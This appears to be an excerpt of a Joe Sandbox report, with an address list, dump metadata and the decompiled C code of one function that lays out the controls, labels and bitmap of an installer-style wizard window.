0x00423daf
0x00423da9
0x00423d60
0x00423ec1
0x00423ec8
0x00000000
0x00423ecd
0x00423d66
0x00423d66
0x00423d69
0x00423ef6
0x00423efc
0x00000000
0x00423f01
0x00423d6f
0x00423d6f
0x00423d72
0x00423f6d
0x00423f70
0x00423f74
0x00423fa8
0x00423fad
0x00423fae
0x00423fb1
0x00423fb8
0x00423fc8
0x00423fc8
0x00423fd1
0x00423f76
0x00423f79
0x00423f7e
0x00423f81
0x00423f87
0x00423f89
0x00423f8b
0x00423f93
0x00423f95
0x00423f95
0x00423f9c
0x00423fa1
0x00000000
0x00423f74
0x00423d78
0x00423d78
0x00423d7b
0x00423e9d
0x00423ea2
0x00423ea4
0x00423eb3
0x00423ea6
0x00423ea7
0x00423eac
0x00000000
0x00423ea4
0x00423d81
0x00423d82
0x00423e59
0x00423e5c
0x00423e5f
0x00423e61
0x00423e67
0x00423e67
0x00000000
0x00423d88
0x00000000
0x00423d88
0x00423d0a
0x00423d0a
0x00423d0b
0x00423d0d
0x00423d18
0x00423d1d
0x00423d29
0x00423d2b
0x00423d2d
0x00423d30
0x00423d33
0x00423d33
0x00423d38
0x00423d39
0x00423d39
0x00423d3a
0x00000000
0x00000000
0x00000000
0x00423d3a
0x00424239
0x0042423f
0x0042423f

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e909df29738598a04013bb39bd27b24a383e67e3b68f24d36dbb0c3175277ce
Instruction ID: b4035ffc14ca3d091803c165bcf49985a0577d761eaa36a67f266a584e3b78e4
Opcode Fuzzy Hash: 0e909df29738598a04013bb39bd27b24a383e67e3b68f24d36dbb0c3175277ce
Instruction Fuzzy Hash: C2E15D30700124EFDB14DF9AE585A5AB7B0EB48345F9580AAF409DB353C63CEE42DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00461280 Relevance: 15.6, APIs: 4, Strings: 4, Instructions: 1612
windowCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00461280(void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __fp0) {
				char _v8;
				char _v9;
				intOrPtr _v16;
				char _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v60;
				char _v64;
				char _t558;
				signed int _t574;
				signed int _t576;
				void* _t577;
				void* _t612;
				struct HINSTANCE__* _t652;
				intOrPtr _t695;
				intOrPtr _t696;
				intOrPtr _t719;
				intOrPtr _t720;
				intOrPtr _t744;
				intOrPtr _t745;
				intOrPtr _t760;
				intOrPtr _t761;
				intOrPtr _t794;
				void* _t807;
				void* _t832;
				void* _t851;
				intOrPtr _t883;
				intOrPtr _t916;
				void* _t929;
				void* _t955;
				intOrPtr _t977;
				intOrPtr _t1002;
				intOrPtr _t1030;
				intOrPtr _t1039;
				intOrPtr _t1048;
				intOrPtr _t1057;
				intOrPtr _t1058;
				void* _t1085;
				intOrPtr _t1121;
				intOrPtr _t1129;
				intOrPtr _t1132;
				void* _t1134;
				intOrPtr _t1141;
				void* _t1143;
				intOrPtr _t1146;
				intOrPtr _t1159;
				intOrPtr _t1164;
				void* _t1203;
				intOrPtr _t1204;
				intOrPtr _t1213;
				intOrPtr _t1218;
				intOrPtr _t1220;
				intOrPtr _t1221;
				intOrPtr _t1226;
				intOrPtr _t1237;
				void* _t1239;
				intOrPtr _t1241;
				intOrPtr _t1243;
				intOrPtr _t1248;
				intOrPtr _t1270;
				intOrPtr _t1275;
				intOrPtr _t1279;
				void* _t1281;
				intOrPtr _t1289;
				intOrPtr _t1302;
				intOrPtr _t1335;
				intOrPtr _t1340;
				intOrPtr _t1345;
				intOrPtr _t1379;
				intOrPtr _t1445;
				intOrPtr* _t1456;
				intOrPtr _t1457;
				char _t1503;
				intOrPtr _t1523;
				intOrPtr _t1524;
				intOrPtr _t1525;
				intOrPtr _t1526;
				intOrPtr _t1536;
				intOrPtr _t1540;
				signed int _t1544;
				intOrPtr _t1557;
				intOrPtr _t1564;
				intOrPtr _t1565;
				intOrPtr _t1567;
				intOrPtr _t1568;
				intOrPtr _t1576;
				intOrPtr _t1580;
				intOrPtr _t1586;
				void* _t1614;
				intOrPtr _t1622;
				void* _t1675;
				intOrPtr _t1681;
				intOrPtr _t1692;
				intOrPtr _t1711;
				intOrPtr _t1715;
				intOrPtr _t1716;
				intOrPtr _t1723;
				intOrPtr _t1724;
				intOrPtr _t1729;
				intOrPtr _t1732;
				intOrPtr _t1745;
				signed int _t1808;
				signed int _t1809;
				signed int _t1814;
				signed int _t1815;
				intOrPtr _t1819;
				intOrPtr _t1828;
				intOrPtr _t1832;
				intOrPtr _t1835;
				signed int _t1853;
				signed int _t1855;
				void* _t1856;
				void* _t1861;
				void* _t1862;
				intOrPtr* _t1864;
				void* _t1871;
				intOrPtr* _t1872;
				struct HMENU__* _t1880;
				void* _t1881;
				void* _t1882;
				intOrPtr _t1883;
				signed int _t1884;
				void* _t1886;
				void* _t1887;
				intOrPtr _t1888;
				void* _t1894;
				intOrPtr _t1895;
				signed char _t1899;
				void* _t1906;
				void* _t1909;
				void* _t1912;
				void* _t1953;

				_t1953 = __fp0;
				_t1837 = __edi;
				_t1503 = __edx;
				_t1457 = __ecx;
				_t1886 = _t1887;
				_t1888 = _t1887 + 0xffffffc4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v48 = 0;
				_v64 = 0;
				_v24 = 0;
				if(__edx != 0) {
					_t1888 = _t1888 + 0xfffffff0;
					_t558 = E00402E78(_t558, _t1886);
				}
				_v16 = _t1457;
				_v9 = _t1503;
				_v8 = _t558;
				_t1456 =  &_v8;
				 *[fs:eax] = _t1888;
				E00420274(_v16, 0); // executed
				 *((intOrPtr*)( *_t1456 + 0x2ec)) = E00402C78(1);
				 *((intOrPtr*)( *_t1456 + 0x32c)) = E00402C78(1);
				 *((intOrPtr*)( *_t1456 + 0x31c)) = E00402C78(1);
				 *((intOrPtr*)( *_t1456 + 0x320)) = E00402C78(1);
				 *((intOrPtr*)( *_t1456 + 0x324)) = E00402C78(1);
				 *((intOrPtr*)( *_t1456 + 0x328)) = E00402C78(1);
				_t574 =  *0x4ae208; // 0x21638fc
				_t1853 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x30)) -  *((intOrPtr*)( *_t574 + 0x1c))( *[fs:eax], 0x462920, _t1886);
				if(_t1853 > 0) {
					_t1445 =  *((intOrPtr*)( *_t1456 + 0x24c));
					E00414704( *((intOrPtr*)( *_t1456 + 0x24c)),  *((intOrPtr*)(_t1445 + 0x30)) - _t1853);
					_t1835 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x28));
					_t1884 = _t1853 >> 1;
					if( *((intOrPtr*)(_t1445 + 0x30)) - _t1853 < 0) {
						asm("adc esi, 0x0");
					}
					E004146C4( *((intOrPtr*)( *_t1456 + 0x24c)), _t1835 + _t1884);
				}
				_t576 =  *0x4ae208; // 0x21638fc
				_t577 =  *((intOrPtr*)( *_t576 + 0x20))();
				_t1522 =  *((intOrPtr*)( *_t1456 + 0x24c));
				_t1855 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x2c)) - _t577;
				if(_t1855 > 0) {
					_t1894 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x2c)) - _t1855;
					E004146E4( *((intOrPtr*)( *_t1456 + 0x24c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x2c)) - _t1855);
					_t1832 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x24c)) + 0x24));
					_t1855 = _t1855 >> 1;
					if(_t1894 < 0) {
						asm("adc esi, 0x0");
					}
					_t1522 = _t1832 + _t1855;
					_t1895 = _t1832 + _t1855;
					E004146A4( *((intOrPtr*)( *_t1456 + 0x24c)));
				}
				E00488670( *_t1456, _t1895);
				_t1896 =  *0x4ae17d & 0x00000001;
				if(( *0x4ae17d & 0x00000001) == 0) {
					E00488654( *_t1456, _t1522);
				} else {
					E00488530( *_t1456, 1,  *0x4adf90);
				}
				_t1459 =  *0x4ae1bc; // 0xc
				_t1523 =  *0x4ae194; // 0x21754f8
				E0048811C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x44)), _t1456, _t1459, _t1523, _t1837, _t1855, 0xc, 0);
				_t1524 =  *0x462940; // 0x1
				E0041A498( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x44)), _t1524, _t1896);
				_t1525 =  *0x462940; // 0x1
				E0041A498( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x244)) + 0x44)), _t1525, _t1896);
				if(( *0x4ae17d & 0x00000001) == 0) {
					_t1459 =  &_v48;
					_t1526 =  *0x4ae270; // 0x2174a30
					E00450B18(0x99,  &_v48, _t1526);
					E00414BE0( *_t1456, _t1456, _v48, _t1837, _t1855);
				} else {
					_t1828 =  *0x48ddc0; // 0x217a7a4
					E00414BE0( *_t1456, _t1456, _t1828, _t1837, _t1855);
				}
				if(( *0x4ae17d & 0x00000001) == 0) {
					_v36 = E00414784( *_t1456);
					_v40 = E004147C8( *_t1456);
					_t1899 =  *( *_t1456 + 0x110) |  *0x462944;
					E00421060( *_t1456, _t1459,  *( *_t1456 + 0x110) |  *0x462944);
					E0042108C( *_t1456, 1);
					E00420C30( *_t1456, _v36);
					E00420C5C( *_t1456, _v40);
				}
				_v56 = 0xa;
				_v55 = 0xc;
				_v54 = 0xd;
				_v53 = 0xe;
				_v52 = 0x10;
				_t1856 = E00488490( *_t1456, _t1456, 4,  &_v56, _t1837, _t1855, _t1899);
				_v20 = E0048872C( *_t1456, 0xa);
				E004146E4( *((intOrPtr*)( *_t1456 + 0x1bc)), _t1856);
				E004146E4( *((intOrPtr*)( *_t1456 + 0x1b8)), _t1856);
				E004146E4( *((intOrPtr*)( *_t1456 + 0x1b4)), _t1856);
				_t612 = E00414784( *_t1456);
				_t62 =  &_v20; // 0x47725b
				E004146A4( *((intOrPtr*)( *_t1456 + 0x1b4)));
				_t64 =  &_v20; // 0x47725b
				E004146A4( *((intOrPtr*)( *_t1456 + 0x1b8)));
				_t1843 = _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856;
				E004146A4( *((intOrPtr*)( *_t1456 + 0x1bc)));
				_t1536 =  *0x4ae14c; // 0x400000
				E0045BA50( *((intOrPtr*)( *_t1456 + 0x22c)), _t1536);
				E0045BA68( *((intOrPtr*)( *_t1456 + 0x22c)));
				E0045BA74( *((intOrPtr*)( *_t1456 + 0x22c)), 1);
				E0045BABC( *((intOrPtr*)( *_t1456 + 0x22c)), 0 | ( *0x4ae180 & 0x00000040) != 0x00000000);
				_t1540 =  *0x4ae14c; // 0x400000
				E0045BA50( *((intOrPtr*)( *_t1456 + 0x260)), _t1540);
				E0045BA68( *((intOrPtr*)( *_t1456 + 0x260)));
				E0045BA74( *((intOrPtr*)( *_t1456 + 0x260)), 1);
				E0045BABC( *((intOrPtr*)( *_t1456 + 0x260)), 0 | ( *0x4ae180 & 0x00000040) != 0x00000000);
				_t1544 =  *0x4ae208; // 0x21638fc
				E0045BA68( *((intOrPtr*)( *_t1456 + 0x24c)));
				_t1902 =  *0x4ae180 & 0x00000040;
				E0045BABC( *((intOrPtr*)( *_t1456 + 0x24c)), _t1544 & 0xffffff00 | ( *0x4ae180 & 0x00000040) != 0x00000000);
				_t652 =  *0x48d014; // 0x400000
				E0041D778( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2b8)) + 0xb4)), LoadBitmapA(_t652, "STOPIMAGE"));
				E0045BA8C( *((intOrPtr*)( *_t1456 + 0x2b8)), 0xc0c0c0);
				E0045BAA4( *((intOrPtr*)( *_t1456 + 0x2b8)),  *((intOrPtr*)( *_t1456 + 0x48)));
				E004610DC(_t1456, 4, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856,  *0x4ae180 & 0x00000040, _t1886); // executed
				E00462AF4( *_t1456, 1,  *0x4ae180 & 0x00000040, 0, 0, 0);
				E00460724(0xbd,  &_v48);
				E004036C4( &_v48, 0x46295c);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x230)), _t1456, _v48, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856);
				E00460A5C( *((intOrPtr*)( *_t1456 + 0x1c8)),  *((intOrPtr*)( *_t1456 + 0x230)),  *0x4ae180 & 0x00000040);
				E00460A8C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x230)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x264)) + 0x28)),  *((intOrPtr*)( *_t1456 + 0x264)));
				E00460724(0xbe,  &_v48);
				E004036C4( &_v48, 0x462968);
				_t1557 =  *0x48dbd8; // 0x217843c
				E004036C4( &_v48, _t1557);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x264)), _t1456, _v48, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856);
				_t695 =  *0x48de80; // 0x217b250
				_t696 =  *0x48dd00; // 0x2179914
				E00462AF4( *_t1456, 2,  *0x4ae180 & 0x00000040, _t696, _t695,  *((intOrPtr*)( *_t1456 + 0x1d4)));
				E00460724(0x65,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x268)), _t1456, _v48, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t1856);
				E00460A8C(E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x268)),  *0x4ae180 & 0x00000040),  *((intOrPtr*)( *_t1456 + 0x26c)));
				_t1564 =  *0x48dcfc; // 0x21798f0
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2a0)), _t1456, _t1564, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t707);
				_t1565 =  *0x48dd08; // 0x21799f4
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2a4)), _t1456, _t1565, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t707);
				_t719 =  *0x48de84; // 0x217b270
				_t720 =  *0x48dd3c; // 0x2179dc8
				E00462AF4( *_t1456, 3,  *0x4ae180 & 0x00000040, _t720, _t719,  *((intOrPtr*)( *_t1456 + 0x1d8)));
				_t1567 =  *0x48dd40; // 0x2179e00
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x214)), _t1456, _t1567, _t612 -  *_t62 - _t1856 -  *_t64 - _t1856 - _t1856, _t707);
				_t1568 =  *0x48dd38; // 0x2179db0
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x21c)), _t1456, _t1568, _t1843, _t707);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x21c)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x21c)) + 0x28)) + E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x214)), _t1902));
				E004146C4( *((intOrPtr*)( *_t1456 + 0x218)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x218)) + 0x28)) + _t732 + E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x21c)), _t1902));
				_t744 =  *0x48de78; // 0x217b220
				_t745 =  *0x48dcd4; // 0x2179648
				E00462AF4( *_t1456, 4, _t1902, _t745, _t744,  *((intOrPtr*)( *_t1456 + 0x1dc)));
				_t1576 =  *0x48dcd0; // 0x2179604
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x238)), _t1456, _t1576, _t1843, _t732 + E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x21c)), _t1902));
				E00460A8C(E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x238)), _t1902),  *((intOrPtr*)( *_t1456 + 0x234)));
				_t760 =  *0x48dea4; // 0x217b380
				_t761 =  *0x48de50; // 0x217b028
				_t1471 =  *((intOrPtr*)( *_t1456 + 0x1cc));
				E00462AF4( *_t1456, 5, _t1902, _t761, _t760,  *((intOrPtr*)( *_t1456 + 0x1e0)));
				_t1580 =  *0x48de54; // 0x217b054
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2a8)), _t1456, _t1580, _t1843, _t754);
				_t1861 = E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x2a8)), _t1902);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x2ac)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2ac)) + 0x28)) + _t1861);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x2b0)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2b0)) + 0x28)) + _t1861);
				_t1586 =  *0x48de5c; // 0x217b090
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2b0)), _t1456, _t1586, _t1843, _t1861);
				_t1862 = _t1861 + E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x2b0)), _t1902);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x2b4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2b4)) + 0x28)) + _t1862);
				_t1903 =  *0x4ae24d;
				if( *0x4ae24d == 0) {
					E00414B0C( *((intOrPtr*)( *_t1456 + 0x2c4)), _t1471, 0, _t1843);
					__eflags = 0;
					E00414B0C( *((intOrPtr*)( *_t1456 + 0x2c8)), _t1471, 0, _t1843);
				} else {
					E004146C4( *((intOrPtr*)( *_t1456 + 0x2c4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c4)) + 0x28)) + _t1862);
					_t1819 =  *0x48de60; // 0x217b0ac
					E00414BE0( *((intOrPtr*)( *_t1456 + 0x2c4)), _t1456, _t1819, _t1843, _t1862);
					E004146C4( *((intOrPtr*)( *_t1456 + 0x2c8)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2c8)) + 0x28)) + _t1862);
				}
				_t794 =  *0x48de90; // 0x217b2cc
				E00460724(0x87,  &_v48);
				E00462AF4( *_t1456, 6, _t1903, _v48, _t794,  *((intOrPtr*)( *_t1456 + 0x1e4)));
				E00460724(0x89,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x290)), _t1456, _v48, _t1843, _t1862);
				_t807 = E0048872C( *_t1456, 0xc);
				_t1863 =  *((intOrPtr*)( *_t1456 + 0x2dc));
				_t1845 = _t807 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x24)) +  *((intOrPtr*)(_t1863 + 0x2c));
				_t1864 =  *((intOrPtr*)( *_t1456 + 0x290));
				_t1473 =  *((intOrPtr*)(_t1864 + 0x28));
				_t1865 =  *_t1864;
				 *((intOrPtr*)( *_t1864 + 0x4c))( *((intOrPtr*)(_t1864 + 0x30)),  *((intOrPtr*)(_t1864 + 0x2c)) - _t807 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x24)) +  *((intOrPtr*)(_t1863 + 0x2c)) -  *((intOrPtr*)(_t1864 + 0x24)));
				E00460A5C( *((intOrPtr*)(_t1864 + 0x28)),  *((intOrPtr*)( *_t1456 + 0x290)), _t1903);
				if( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)) >  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x30))) {
					_t1814 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x30)) - 1;
					_t1815 = _t1814 >> 1;
					if(_t1814 < 0) {
						asm("adc edx, 0x0");
					}
					_t1906 = _t1815 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x28));
					E004146C4( *((intOrPtr*)( *_t1456 + 0x290)), _t1815 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x28)));
				}
				E00460724(0x86,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2e4)), _t1456, _v48, _t1845, _t1865);
				_push(E0048873C( *_t1456, 0xd) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x290)) + 0x30)) - 1);
				_t832 = E0048873C( *_t1456, 0xc);
				_pop(_t1614);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x2e4)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E0042E6C8(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)));
				E004146C4( *((intOrPtr*)( *_t1456 + 0x208)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x208)) + 0x28)) + E0042E6C8(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E00460A5C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906));
				_t1622 =  *0x48dbc0; // 0x2178368
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2d4)), _t1456, _t1622,  *((intOrPtr*)( *_t1456 + 0x290)), E0042E6C8(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E00460A5C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906));
				_v60 = 0x14;
				_t851 = E00488490( *_t1456, _t1456, 0,  &_v60,  *((intOrPtr*)( *_t1456 + 0x290)), E0042E6C8(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E00460A5C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906), _t1906);
				_t1847 = _t851;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)))) + 0x4c))( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)) + 0x30)), _t851);
				E004146E4( *((intOrPtr*)( *_t1456 + 0x208)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)) + 0x24)) - E0048872C( *_t1456, 0xa) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x208)) + 0x24)));
				E00460724(0x29,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x204)), _t1456, _v48, _t851,  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)))));
				E004146C4( *((intOrPtr*)( *_t1456 + 0x204)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x204)) + 0x28)) - E00460A5C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2d4)) + 0x28)) + E0042E6C8(_t832 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2dc)) + 0x30)), _t1614) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e4)) + 0x28)) + E00460A5C(_t1473,  *((intOrPtr*)( *_t1456 + 0x2e4)), _t1906),  *((intOrPtr*)( *_t1456 + 0x204)), _t1906));
				_t883 =  *0x48de94; // 0x217b2f4
				E00460724(0x84,  &_v48);
				E00462AF4( *_t1456, 7, _t1906, _v48, _t883,  *((intOrPtr*)( *_t1456 + 0x1e8)));
				E00460724(0x85,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x298)), _t1456, _v48, _t851,  *((intOrPtr*)( *_t1456 + 0x204)));
				_t1871 = E00460A5C( *((intOrPtr*)( *_t1456 + 0x1cc)),  *((intOrPtr*)( *_t1456 + 0x298)), _t1906);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x224)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0x28)) + _t1871);
				_t1478 = _t1871;
				E00460A8C(_t1871,  *((intOrPtr*)( *_t1456 + 0x278)));
				E00460724(0x1e,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x27c)), _t1456, _v48, _t851, _t1871);
				E00460A5C(_t1871,  *((intOrPtr*)( *_t1456 + 0x27c)), _t1906);
				if( *0x4ae253 != 0) {
					_t1379 =  *0x4ae1d0; // 0x2162a88
					if( *((intOrPtr*)(_t1379 + 8)) == 1) {
						E00414B0C( *((intOrPtr*)( *_t1456 + 0x224)), _t1478, 0, _t1847);
						_t1909 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x278)) + 0x28));
						E00460A8C( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x224)) + 0x28)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x278)) + 0x28)),  *((intOrPtr*)( *_t1456 + 0x278)));
					}
				}
				_t916 =  *0x48de98; // 0x217b314
				E00460724(0x8e,  &_v48);
				E00462AF4( *_t1456, 8, _t1909, _v48, _t916,  *((intOrPtr*)( *_t1456 + 0x1ec)));
				E00460724(0x8f,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x294)), _t1456, _v48, _t1847, _t1871);
				_t929 = E0048872C( *_t1456, 0xc);
				_t1849 = _t929 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x24)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x2c));
				_t1872 =  *((intOrPtr*)( *_t1456 + 0x294));
				_t1873 =  *_t1872;
				 *((intOrPtr*)( *_t1872 + 0x4c))( *((intOrPtr*)(_t1872 + 0x30)),  *((intOrPtr*)(_t1872 + 0x2c)) - _t929 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x24)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x2c)) -  *((intOrPtr*)(_t1872 + 0x24)));
				E00460A5C( *((intOrPtr*)(_t1872 + 0x28)),  *((intOrPtr*)( *_t1456 + 0x294)), _t1909);
				if( *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)) >  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x30))) {
					_t1808 =  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x30)) - 1;
					_t1809 = _t1808 >> 1;
					if(_t1808 < 0) {
						asm("adc edx, 0x0");
					}
					_t1912 = _t1809 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x28));
					E004146C4( *((intOrPtr*)( *_t1456 + 0x294)), _t1809 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x28)));
				}
				E00460724(0x8d,  &_v48);
				E00414BE0( *((intOrPtr*)( *_t1456 + 0x2e8)), _t1456, _v48, _t1849, _t1873);
				_push(E0048873C( *_t1456, 0xd) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x294)) + 0x30)) - 1);
				_t955 = E0048873C( *_t1456, 0xc);
				_pop(_t1675);
				E004146C4( *((intOrPtr*)( *_t1456 + 0x2e8)),  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)) + E0042E6C8(_t955 +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x28)) +  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e0)) + 0x30)), _t1675) -  *((intOrPtr*)( *((intOrPtr*)( *_t1456 + 0x2e8)) + 0x28)));
